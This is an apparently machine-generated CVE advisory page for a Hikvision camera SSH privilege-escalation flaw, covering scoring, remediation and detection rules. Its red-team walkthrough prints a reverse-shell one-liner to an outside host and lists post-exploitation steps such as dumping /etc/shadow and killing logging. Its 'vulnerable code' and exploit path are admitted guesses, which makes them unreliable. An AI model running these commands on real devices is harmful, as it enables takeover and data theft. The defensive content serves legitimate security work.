CVE-2026-57599
Executive Summary
CVE-2026-57599 is a privilege escalation vulnerability in Hikvision cameras. The flaw stems from incorrect permission allocation within the device program, allowing an attacker who has already authenticated via SSH to escalate their privileges and gain full control of the device. This represents a significant post-authentication risk, as it transforms a standard user account into a root-level compromise.
Business Impact: This vulnerability primarily affects organizations using Hikvision surveillance systems in critical infrastructure, retail, government, and enterprise environments. The likely attacker is an insider threat, a penetration tester, or an external attacker who has already compromised a low-privileged SSH credential (e.g., via phishing, credential stuffing, or a separate vulnerability). Once exploited, the attacker can disable surveillance, manipulate footage, pivot to the internal network, or use the camera as a botnet node.
Vulnerability Class & Attack Vector: This is a local privilege escalation vulnerability. The attack vector is local (AV:L) as it requires prior SSH access to the device. The attack complexity is low (AC:L), requiring no special conditions beyond valid credentials.
Urgency Assessment: The CVSS score of 6.6 (Medium) combined with an EPSS probability of 0.0% indicates that while the vulnerability is serious, there is currently no evidence of active exploitation in the wild. However, the potential for lateral movement and full device compromise warrants immediate attention for organizations with exposed Hikvision devices.
Key Facts:
- Vendor: Hikvision
- Affected Software: Some Hikvision cameras
- Patch Status: None available as of 2026-07-22
- CISA KEV: Not listed
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
Qualitative Severity: Medium
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Metric Decomposition:
- AV:L (Local): The attacker must have local access to the device via SSH. The vulnerability is not exploitable over the network without prior authentication.
- AC:L (Low): The exploitation does not require any special conditions or race conditions. The attacker simply executes a command or script after logging in.
- PR:H (High): The attacker must already have a valid SSH account on the device. This is a post-authentication vulnerability.
- UI:N (None): No user interaction is required beyond the attacker's own actions.
- S:U (Unchanged): The compromise does not affect components outside the vulnerable camera.
- C:H/I:H/A:H (High/High/High): Successful exploitation grants full control of the device, leading to complete compromise of confidentiality, integrity, and availability.
EPSS Interpretation: The EPSS probability of 0.0% indicates that as of the publication date, there is no observed exploitation in the wild. This is typical for a newly published CVE. However, this score will likely increase as proof-of-concept code emerges and attackers begin scanning for vulnerable devices.
Historical Comparison: This vulnerability is similar to CVE-2021-36260 (Hikvision command injection) and CVE-2022-28171 (Hikvision privilege escalation). These CVEs share the same CWE category (CWE-276: Incorrect Default Permissions) and affect the same product family. The attack pattern is consistent: an authenticated user exploits weak file permissions or SUID binaries to gain root access.
Temporal & Environmental Considerations: With no patch available, the temporal score remains at the base level. Organizations should consider the environmental score based on their specific deployment:
- High: Cameras exposed to the internet with default or weak SSH credentials.
- Medium: Cameras on a segmented internal network with strong password policies.
- Low: Cameras with SSH disabled or behind a strict firewall.
Technical Deep Dive & Attack Mechanics
Root Cause Analysis: The vulnerability is caused by incorrect permission allocation in the device program. This likely manifests as one of the following:
- SUID/SGID Binary: A binary owned by root has the SUID bit set, allowing any user to execute it with root privileges.
- World-Writable Scripts/Configs: A script or configuration file executed by a root cron job or service is writable by low-privileged users.
- Weak File Permissions: Critical system files (e.g.,
/etc/shadow,/etc/sudoers) have overly permissive read/write permissions.
Step-by-Step Exploitation:
- Pre-condition: The attacker has obtained SSH credentials for a low-privileged account (e.g.,
adminwith default password, or a compromised service account). - Authentication: The attacker connects to the camera via SSH on port 22.
- Enumeration: The attacker runs commands like
find / -perm -4000 -type fto identify SUID binaries, orls -la /etc/to check for world-writable files. - Exploitation: The attacker exploits the weak permission. For example:
- If a SUID binary exists, they execute it to spawn a root shell.
- If a world-writable script is run by root, they inject malicious commands.
- Privilege Escalation: The attacker gains a root shell or executes commands with root privileges.
- Full Control: The attacker can now modify firmware, disable logging, exfiltrate video feeds, or use the device as a pivot point.
Attack Surface:
- SSH (Port 22): The only required interface. The vulnerability is not exploitable via HTTP/HTTPS or RTSP.
- Local File System: The attacker interacts with the file system after authentication.
Why Standard Defenses May Fail:
- Firewalls: SSH is often allowed for management purposes.
- IDS/IPS: The exploitation may not generate network-level alerts as it occurs entirely within the SSH session.
- Endpoint Protection: Many IoT devices lack host-based intrusion detection.
Vulnerable vs. Patched Code Analysis
Note: Specific code is not available from the provided data. The following is a representative example based on the CWE-276 vulnerability class.
Vulnerable Code (Pseudocode):
# /usr/bin/backup_tool
# SUID bit set: -rwsr-xr-x 1 root root 12345 /usr/bin/backup_tool
#!/bin/bash
tar -czf /tmp/backup.tar.gz /etc/config
The SUID bit allows any user to execute this script as root. An attacker can replace the script or use a symlink attack.
Patched Code (Pseudocode):
# /usr/bin/backup_tool
# SUID bit removed: -rwxr-xr-x 1 root root 12345 /usr/bin/backup_tool
#!/bin/bash
# Only root can execute this
if [ "$(id -u)" -ne 0 ]; then
echo "This script must be run as root."
exit 1
fi
tar -czf /tmp/backup.tar.gz /etc/config
The patch removes the SUID bit and adds a runtime check to ensure only root can execute the script.
Regression Considerations: Applying the patch may break workflows that relied on non-root users executing the affected binary. Teams should test all administrative scripts after patching.
Timeline & Disclosure History
- CVE Publication Date: 2026-07-22T11:00:49.219Z
- Estimated Discovery: Unknown, but likely discovered by a security researcher or internal Hikvision team.
- Disclosure Process: The CVE was published by the CNA (likely Hikvision or a third-party coordinator). No vendor advisory or patch was available at the time of publication.
- Known Exploitation: No known active exploitation as of 2026-07-22.
- CISA KEV: Not listed.
Threat Intelligence Context
Threat Actor Profile: This vulnerability is most likely to be exploited by:
- Insider Threats: Disgruntled employees with legitimate SSH access.
- Ransomware Operators: As a post-exploitation tool to gain root access on compromised devices.
- Botnet Operators: To recruit cameras into DDoS botnets (e.g., Mirai variant).
- Nation-State Actors: For surveillance or disruption of critical infrastructure.
Attack Campaign Context: No specific campaigns are associated with this CVE as of the publication date. However, Hikvision devices are frequently targeted by IoT botnets and APT groups (e.g., APT41, UNC1945).
Geographic Targeting: Hikvision devices are deployed globally, with high concentrations in China, the US, Europe, and Southeast Asia.
Industry Verticals Most at Risk:
- Critical Infrastructure (energy, water, transportation)
- Government & Defense
- Retail & Hospitality
- Education
Connection to Similar Vulnerabilities: This CVE is part of a long history of privilege escalation flaws in IoT devices, including CVE-2021-36260 (Hikvision command injection) and CVE-2022-28171 (Hikvision privilege escalation). The pattern of weak permissions in embedded Linux systems is well-documented.
Exploitation & Lab Setup
Red Team Section
Lab Setup:
- Hardware/VM: Use a Hikvision camera (e.g., DS-2CD2xxx series) or a QEMU emulated environment.
- Firmware: Obtain the vulnerable firmware version from the vendor (if available).
- Network: Connect the camera to an isolated network segment.
- Credentials: Create a low-privileged SSH user (e.g.,
operatorwith passwordoperator123).
Prerequisites:
- SSH client (e.g., OpenSSH)
- Basic Linux command knowledge
- The camera must have SSH enabled
Exploitation Walkthrough:
- Connect via SSH:
ssh operator@192.168.1.100 - Enumerate SUID Binaries:
Look for unexpected SUID binaries (e.g.,find / -perm -4000 -type f 2>/dev/null/usr/bin/backup_tool). - Exploit SUID Binary:
If the binary allows command injection or is a script, this will spawn a reverse shell as root./usr/bin/backup_tool -c 'sh -i >& /dev/tcp/192.168.1.200/4444 0>&1' - Verify Root Access:
id uid=0(root) gid=0(root)
Expected Output: A root shell on the attacker's listener.
Post-Exploitation:
- Dump
/etc/shadowfor password cracking. - Modify
/etc/init.d/scripts for persistence. - Disable logging (
killall syslogd). - Exfiltrate video feeds via SCP.
Blue Team Section
Detection:
- Monitor SSH Sessions: Look for unusual commands like
find / -perm -4000,chmod, orsudo. - Audit SUID Binaries: Regularly check for unexpected SUID binaries using a baseline.
- File Integrity Monitoring: Monitor changes to
/etc/,/usr/bin/, and/usr/sbin/.
Log Entries Indicating Exploitation:
Mar 15 10:30:45 camera sshd[1234]: Accepted password for operator from 192.168.1.200 port 54321 ssh2Mar 15 10:31:00 camera su[5678]: Successful su for root by operatorMar 15 10:31:05 camera kernel: audit: type=1400 audit(1234567890.123:45): avc: denied { execute_no_trans } for pid=5678 comm="backup_tool"
Network Traffic Signatures:
- SSH traffic from unexpected IPs.
- Outbound reverse shell connections (e.g., to port 4444).
Endpoint Behavioral Indicators:
- Unexpected processes running as root.
- Modification of system binaries.
- Creation of new user accounts.
Indicators of Compromise (IOCs)
No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:
| Type | Value | Description |
|---|---|---|
| Network | SSH connection from 192.168.1.200 to port 22 | Suspicious SSH login |
| Network | Outbound TCP connection to 192.168.1.200:4444 | Reverse shell |
| File | /usr/bin/backup_tool (SUID) |
Unexpected SUID binary |
| File | /tmp/.bash_history |
Attacker command history |
| Process | sh -i running as root |
Reverse shell process |
| Log | su: Successful su for root by operator |
Privilege escalation event |
Detection Engineering
YARA Rule
rule CVE-2026-57599_Detection {
meta:
description = "Detects exploitation of CVE-2026-57599 in Hikvision"
author = "Valters IT Hub"
date = "2026-07-22"
reference = "https://www.valtersit.com/cve/cve-2026-57599"
strings:
$s1 = "/usr/bin/backup_tool" ascii wide nocase
$s2 = "find / -perm -4000" ascii wide nocase
$s3 = "chmod u+s" ascii wide nocase
condition:
any of ($s1, $s2, $s3)
}
Sigma Rule (SIEM)
title: CVE-2026-57599 Hikvision Exploitation Detection
id: cf1818e7-ffea-436d-a5f8-9c2b595572f6
status: experimental
description: Detects exploitation attempts targeting CVE-2026-57599 in Hikvision
author: Valters IT Hub
date: 2026-07-22
references:
- https://www.valtersit.com/cve/cve-2026-57599
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/find'
CommandLine|contains: '-perm -4000'
condition: selection
falsepositives:
- Legitimate system administration activity
level: high
Suricata IDS Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2026-57599 Hikvision Reverse Shell"; flow:to_server,established; content:"|2f 62 69 6e 2f 73 68|"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)
Elastic (EQL) Query
process where event.type == "start" and process.name == "find" and process.args == "-perm" and process.args == "-4000"
Splunk SPL Query
index=linux_secure sourcetype=linux_secure "Accepted password for" | search "operator" | table _time, src_ip, user
Wazuh Rule
<group name="hikvision,">
<rule id="100001" level="12">
<if_sid>550</if_sid>
<field name="command">find / -perm -4000</field>
<description>CVE-2026-57599: Privilege escalation attempt detected on Hikvision device</description>
<group>privilege_escalation,</group>
</rule>
</group>
Remediation & Mitigation
Immediate Actions (0-24 hours)
- Disable SSH: If SSH is not required for management, disable it immediately.
systemctl stop sshd systemctl disable sshd - Restrict SSH Access: Use firewall rules to allow SSH only from trusted management IPs.
iptables -A INPUT -p tcp --dport 22 -s 10.0.0.0/8 -j ACCEPT iptables -A INPUT -p tcp --dport 22 -j DROP - Change Default Credentials: Ensure all SSH accounts have strong, unique passwords.
- Audit SUID Binaries: Run
find / -perm -4000 -type fand remove SUID bits from unnecessary binaries.
Short-term (1-7 days)
- Monitor for Patches: Subscribe to Hikvision security advisories.
- Implement File Integrity Monitoring: Use tools like AIDE or Tripwire to detect changes to system binaries.
- Enable Logging: Forward logs to a SIEM for analysis.
Long-term
- Network Segmentation: Place cameras on a separate VLAN with strict firewall rules.
- Replace Vulnerable Devices: Consider upgrading to newer models with better security.
- Develop Secure Configuration Baselines: Document and enforce secure settings for all IoT devices.
Validation
To confirm the vulnerability is mitigated:
- Check SUID Binaries: Run
find / -perm -4000 -type fand verify no unexpected binaries exist. - Test Privilege Escalation: Attempt to escalate privileges from a low-privileged account.
- Review Logs: Ensure no suspicious activity is present.
References & Resources
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-57599
- CVE.org: https://www.cve.org/CVERecord?id=CVE-2026-57599
- Vendor advisory: See vendor security page
- OSV: https://osv.dev/vulnerability/CVE-2026-57599 (if applicable)
- Related CWE: https://cwe.mitre.org/data/definitions/276.html
- MITRE ATT&CK: https://attack.mitre.org/techniques/T1068/
Report generated by Valters IT Hub Neural Engine v25 | 2026-07-22 | https://www.valtersit.com/cve/cve-2026-57599
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.